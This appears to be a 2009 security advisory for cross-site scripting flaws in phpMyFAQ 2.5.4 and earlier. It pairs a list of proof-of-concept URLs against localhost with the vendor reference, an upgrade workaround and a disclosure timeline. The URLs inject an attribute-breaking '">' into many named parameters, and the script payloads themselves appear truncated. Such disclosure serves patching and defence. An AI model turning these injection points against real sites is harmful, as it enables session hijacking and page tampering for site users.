################################################################################
Mutliple XSS in phpMyFAQ <= 2.5.4
Name Multiple vulnerabilities in phpMyFAQ
Systems Affected phpMyFAQ <= 2.5.4
Site http://www.phpmyfaq.de/
Author Amol Naik (amolnaik4[at]gmail.com)
Date 02/12/2009
################################################################################
############
OVERVIEW
############
phpMyFAQ 2.5 is a multilingual, completely database-driven FAQ-system.
######################
PoC
######################
http://localhost/phpmyfaq/index.php?action=sitemap&lang=en">
http://localhost/phpmyfaq/index.php?search=hello">&action=search
http://localhost/phpmyfaq/index.php?action=artikel&cat=1&id=1&artlang=en&highlight=you">
http://localhost/phpmyfaq/index.php?action=artikel&cat=1&id=1&artlang=en">
http://localhost/phpmyfaq/index.php?action=sitemap&letter=W&lang=en">
http://localhost/phpmyfaq/index.php?action=sitemap&letter=W">&lang=en
http://localhost/phpmyfaq/index.php?sid=7&lang=en">&action=show&cat=1
http://localhost/phpmyfaq/index.php?sid=7&lang=en&action=show&cat=1">
http://localhost/phpmyfaq/index.php?action=search&tagging_id=1">
http://localhost/phpmyfaq/index.php?action=news&newsid=1&newslang=en">
http://localhost/phpmyfaq/index.php?action=send2friend&cat=1&id=1&artlang=en">
http://localhost/phpmyfaq/index.php?action=send2friend&cat=1">&id=1&artlang=en
http://localhost/phpmyfaq/index.php?action=send2friend&cat=1&id=1">&artlang=en
http://localhost/phpmyfaq/index.php?action=translate&cat=1&id=1&srclang=en">
http://localhost/phpmyfaq/index.php?action=translate&cat=1&id=1">&srclang=en
http://localhost/phpmyfaq/index.php?action=translate&cat=1">&id=1&srclang=en
http://localhost/phpmyfaq/index.php?action=add&question=1&cat=1">
http://localhost/phpmyfaq/index.php?action=add&question=1">&cat=1
#############
Reference
#############
http://www.phpmyfaq.de/advisory_2009-12-01.php
#############
Workaround
#############
Upgrade to phpMyFAQ 2.5.5.
Download:
http://www.phpmyfaq.de/download.php
############
TimeLine
############
Bug discovered : 05/11/2009
Informed Vendor : 05/11/2009
Vendor releases new version : 02/12/2009
Public Disclosure : 02/12/2009